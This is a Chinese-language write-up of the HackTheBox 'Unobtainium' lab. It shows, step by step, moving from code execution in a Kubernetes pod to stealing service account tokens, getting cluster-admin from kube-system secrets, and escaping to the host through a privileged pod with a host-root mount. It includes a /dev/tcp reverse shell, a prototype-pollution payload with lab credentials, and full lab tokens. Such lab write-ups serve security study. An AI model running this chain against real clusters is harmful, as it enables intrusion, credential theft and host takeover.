k8s的渗透
前言
现在遇到很多的业务场景,都是k8s的云环境。当我们前期打点,获取到了RCE,RCE了发现是一个pod,下一步如何去渗透?如何逃逸出pod到真实的宿主机中?如何进入到真实的企业内网环境?
下面是hackthebox的Unobtainium靶场,已经是RCE了pod。
执行下面的命令,获取稳定的shell。
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |

信息收集
第一步肯定是信息收集,先确定是k8s,然后再看pod有无token,token能干啥?
确定k8s环境
执行env,可以看到确定是k8s的环境。
1 | KUBERNETES_SERVICE_PORT_HTTPS=443 |
是否为特权容器
非特权容器,特权容器为:0000003fffffffff

查看具有哪些capability
1 | root@webapp-deployment-9546bc7cb-b7k2g:~# capsh --decode=00000000a80425fb |
是否有token
Service Account token的地址在文件夹/run/secrets/kubernetes.io/serviceaccount下。
获取token。
1 | ls -al /run/secrets/kubernetes.io/serviceaccount |

获取token
1 | echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTQzMTczLCJpYXQiOjE3ODEwMDcxNzMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzgxMDEwNzgwfSwibmJmIjoxNzgxMDA3MTczLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.mJN2SBr-KrszC-AWL8ed21IjngPgRC79kk_MoRKmd3axOqIPftMZ2NTF9Di7N3lTWyZr46yZ5xlOJl_JNMsmqqZslP87X5VDghWvasTp7QwSYu3Q1RXawpFDp8iiFJUUzDGr30JMvBAMfaChYogAxcRx8_kxgU-JOAKVl4GBCHkbvmiFaggvmsLt31tO2chY9yWhrrXZue39VWH9WHb8aA-G_hWPCCCeabWe9iKRpZdANtQw1ply1RK4XDGIv95xiXpLscvrgy9nGL_spqUjYdzCxi2e5Gy-9ZGIAUoeNMgAnqH1py_ey90lpFjYMPjdx7jWiXRATYMbID89J0-JwQ" > token |
获取ca.crt证书
1 | cat /run/secrets/kubernetes.io/serviceaccount/ca.crt |
下面利用token去看有哪些权限。
利用default中pod的token和ca.crt
利用Service Account Token 直接调用 Kubernetes API Server,列出 kube-system 命名空间下的 Secrets。
1 | curl -H "Authorization: Bearer $(cat token)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k | jq |
发现无法查看kube-system命名空间下的secrets,无权限。
1 | ❯ curl -H "Authorization: Bearer $(cat token)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k | jq |
切换到使用kubectl,列举有哪些权限。我们将使用kubectl的auth can-i特性,它可以显示我们是否有某些权限与否。关于auth的更多信息可以在这里找到。
我们还想知道是否可以在任何名称空间中创建pod,以便使用auth can-i查看是否可以,我们有权限创建pod的任何名称空间。我们需要确保我们是使用IP作为服务器,因为ca.crt将只查找已经签名了的域。
执行下面的命令,查看权限:
1 | ❯ kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i create pods --all-namespaces |
返回no,表明无创建pod的权限。
auth can-i还可以检查所有kubernetes API资源。我们运行kubectl auth can-i --list查看我们可以做什么,从而列出所有API资源并告知我们所有内容。
1 | kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list |

这为我们提供了大量的信息,根据列表可以get或list这个namespaces。我们可以检查一下除了default命名空间之外,还有其他什么名称空间。
1 | kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get namespaces |

注意到了还有其它的namespace,有kube-system、kube-public、kube-node-lease、dev。
发现dev命名空间
有一个dev的命名空间,看起来像是什么环境,list看一下有什么权限。
1 | kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 auth can-i --list -n dev |

发现对于pod这个Resources可以get和list操作。那么直接list查看dev命名空间的中的全部pod。
执行如下命令,-n 选项来指定命名空间。
1 | kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 get pods -n dev |

注意到dev命名空间中有3个pod,想要进一步攻击,需要进行横向移动。default中的pod无法利用,那么就转移到利用dev中的pod,查看能否获取一个更关键的信息,亦或是提权到宿主机中。
查看dev中的pod的信息描述(describe)
1 | kubectl --token=$(cat token) --certificate-authority=ca.crt --server=https://10.129.136.226:8443 describe pod devnode-deployment-776dbcf7d6-7gjgf -n dev |

从describe中定位它的IP,IP地址为10.42.0.62。从RCE的pod去请求dev下的pod,发现是通的。
1 | ping -c 2 10.42.0.62 |

横向移动
发现RCE的pod,即default的pod,通dev的pod后,想办法横向移动过去,获取更多的信息。因此为了继续操作,我们需要获得对dev pod 的访问权限。
我们假设 dev 命名空间运行的是与default命名空间相同的程序。接下来,枚举dev中的pod的ip地址,查看要攻击哪个pod。然后,通过default的 pod 访问dev的 pod,因为我的电脑是无法直接访问容器的 IP 地址的。
已经确定了dev的一个pod的IP为:10.42.0.62,同样尝试RCE。
RCE需要做一个反弹shell,发现default的pod中没有nc,没办法接收shell,直接上传一个busybox,利用里面的nc。

我现在确定一下环境。我接收反弹shell的pod的IP地址为:10.42.0.65,这就是default的 pod 。我就叫它default_pod_A。

然后我又利用default的pod的RCE,获取到了一个终端,他的IP为:10.42.0.66,这个还是default的 pod 。我就叫它default_pod_B。

default_pod_A负责接收反弹的shell。default_pod_B负责发起请求到10.42.0.62,这个dev下的pod,然后RCE。
反弹shell的命令,进行base64后如下:
1 | bash -i >& /dev/tcp/10.42.0.65/4444 0>&1 |
default_pod_A执行:
1 | ./busybox nc -lvnp 4444 |
然后default_pod_B发起请求:
1 | curl --request PUT http://10.42.0.62:3000 -H 'content-type: application/json' -d '{"auth": {"name": "felamos","password": "Winter2021"}, "message": { "text": "test","__proto__": {"canUpload": true}}}' |

这就获取到了新的shell,这个shell是dev下的pod的!

获取dev的pod的shell
我们现在已经获取到了dev下的pod的权限,那么就有了新的token和ca.crt可以用,查看有哪些权限。
依然是前面的一套流程:
获取稳定shell
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
获取信息
1 | ls -al /run/secrets/kubernetes.io/serviceaccount |
如下:
token
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTU0ODQzLCJpYXQiOjE3ODEwMTg4NDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTc4MTAyMjQ1MH0sIm5iZiI6MTc4MTAxODg0Mywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.okkJ-ywMkk1De4ItXhwl7pB8Kivl4IEIOvGfpzoX8JlwonG-M9AMgP9FXGbYn73tfKR_N02XuG2wMpCSoPrHG_Os3QyusLJxwkTcCXLlOdqx8whcoANSiFzCm3KcPVK8t-EF0QUFvnd80aM4hVo9IcdSbOYXT-jGnOmzJzPuSiYfrbfKibUrlhG0XuO8LcmIPGpTW9lIyBFE8NVtdxJYLkfQ7XSKI02vy092VsfqHZH5PS8Qno-lrqkk2jsbmbTzZFHJ6OG4K1MtldfEY-frNq38L0vIPyOV5krrfQRCoaLAx6j8R-_ADOmccmTa8KvAHhjE4izAkb_liiKAIhq4zw |
ca.crt
1 | -----BEGIN CERTIFICATE----- MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy |
利用dev中pod的token和ca.crt
利用dev中pod的token和ca.crt查看有哪些权限。
保存token为token_dev,ca.crt为ca_dev.crt方便区分。
1 | echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODEyNTU0ODQzLCJpYXQiOjE3ODEwMTg4NDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LTdnamdmIiwidWlkIjoiMjVhNjdmMTUtYTc5NC00NjMyLTkwYmEtY2RkMGVlMmU2ZGNlIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTc4MTAyMjQ1MH0sIm5iZiI6MTc4MTAxODg0Mywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.okkJ-ywMkk1De4ItXhwl7pB8Kivl4IEIOvGfpzoX8JlwonG-M9AMgP9FXGbYn73tfKR_N02XuG2wMpCSoPrHG_Os3QyusLJxwkTcCXLlOdqx8whcoANSiFzCm3KcPVK8t-EF0QUFvnd80aM4hVo9IcdSbOYXT-jGnOmzJzPuSiYfrbfKibUrlhG0XuO8LcmIPGpTW9lIyBFE8NVtdxJYLkfQ7XSKI02vy092VsfqHZH5PS8Qno-lrqkk2jsbmbTzZFHJ6OG4K1MtldfEY-frNq38L0vIPyOV5krrfQRCoaLAx6j8R-_ADOmccmTa8KvAHhjE4izAkb_liiKAIhq4zw" > token_dev |
然后就是查看权限。
1 | kubectl --token=$(cat token_dev) --certificate-authority=ca_dev.crt --server=https://10.129.136.226:8443 auth can-i --list |
发现没什么有用的权限。

然后查看kube-system命名空间,有什么权限。
1 | kubectl --token=$(cat token_dev) --certificate-authority=ca_dev.crt --server=https://10.129.136.226:8443 auth can-i --list -n kube-system |

发现了有get和list的权限,这非常关键。
这里说一下两条命令的区别。
- 带
-n kube-system:查的是 “这个身份在 kube-system 这个命名空间里能做什么” - 不带
-n:查的是 “这个身份在当前默认命名空间(通常是 default)里能做什么”
Service account为dev:default,这个身份能get和list这个kube-system命名空间的secrets,这个Resources。
Kubernetes secrets是一种 API Resources,用于在 Pod 上挂载服务账户(Service account,SA)令牌和授权证书。在我们的场景中,每个 Pod 都拥有它,因此如果我们能够管理和获取集群管理员secret,则可以对整个集群的所有命名空间获得完全的管理员权限。
执行下面的命令:
1 | curl -H "Authorization: Bearer $(cat token_dev)" https://unobtainium.htb:8443/api/v1/namespaces/kube-system/secrets/ -k |

返回了很多pod的token和ca.crt。
获取admin的token和ca.crt
注意到了其中有一个admin相关的token和ca.crt。

token和ca.crt是做了base64编码的,进行解密。
token,为了方便区分,将其命名为token_admin
1 | eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA |
ca.crt,为了方便区分,将其命名为ca_admin.crt
1 | -----BEGIN CERTIFICATE----- |
执行命令
1 | echo "eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA" > token_admin |
查看有什么权限。
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 auth can-i --list |

第一个条*.*,代表我们可以访问所有API资源,Verbs的[*]表示拥有所有Verbs权限,因此我们可以做集群上的任何东西。
当前的环境还是pod,pod还是在容器的环境中,需要获取到宿主机的权限才行,这时候就需要容器逃逸。
最常见的容器逃逸方法,创建一个特权域的pod,然后挂载宿主机的根目录/,然后使用chroot,就可以获取完整的宿主机权限了。
现在的token的权限很大,为[*],具备创建pod的能力,前置条件已经具备了。
容器逃逸
现在已经有了创建pod的能力,下面就是容器逃逸。
我们知道机器上没有互联网连接,所以我们不能使用任何docker映像。一种简单的方法是查看现有部署pod使用的镜像,利用这个镜像,去创建一个新的pod。知道了使用的镜像,然后生成一个yaml文件,在其中执行反弹shell的命令。
查看现有已经部署的pod。
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pods |

查看这个pod创建时候的yaml文件。
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pod webapp-deployment-9546bc7cb-6r7sq -o yaml |

这个pod使用的镜像为localhost:5000/node_server,再多看几个pod。
执行命令:
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pods -n kube-system |

注意到了一个有意思的,叫backup-pod的pod,查看一下它的yaml文件。
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 get pod backup-pod -o yaml -n kube-system |

使用的镜像为alpine:latest,这个镜像我们熟悉,以此我们可以创建一个yaml文件,用于部署一个恶意的pod。
创建yaml文件
test.yaml文件如下:
1 | apiVersion: v1 |
反弹shell的同时,再将宿主机的/root挂载进pod中,方便后续提权。
创建pod,执行一下命令:
1 | kubectl --token=$(cat token_admin) --certificate-authority=ca_admin.crt --server=https://10.129.136.226:8443 apply -f test.yaml |

显示创建成功了,查看一下pod。

我们的反弹shell也成了。

这里是成功逃逸到宿主机了。

为什么直接就逃逸到宿主机了?
在yaml文件中
1 | spec: |
直接将宿主机的/根目录挂载到容器的/root目录下。在容器中进入到/root目录中,就相当于直接访问了宿主机的/目录,实现了容器的逃逸,获取了宿主机的权限。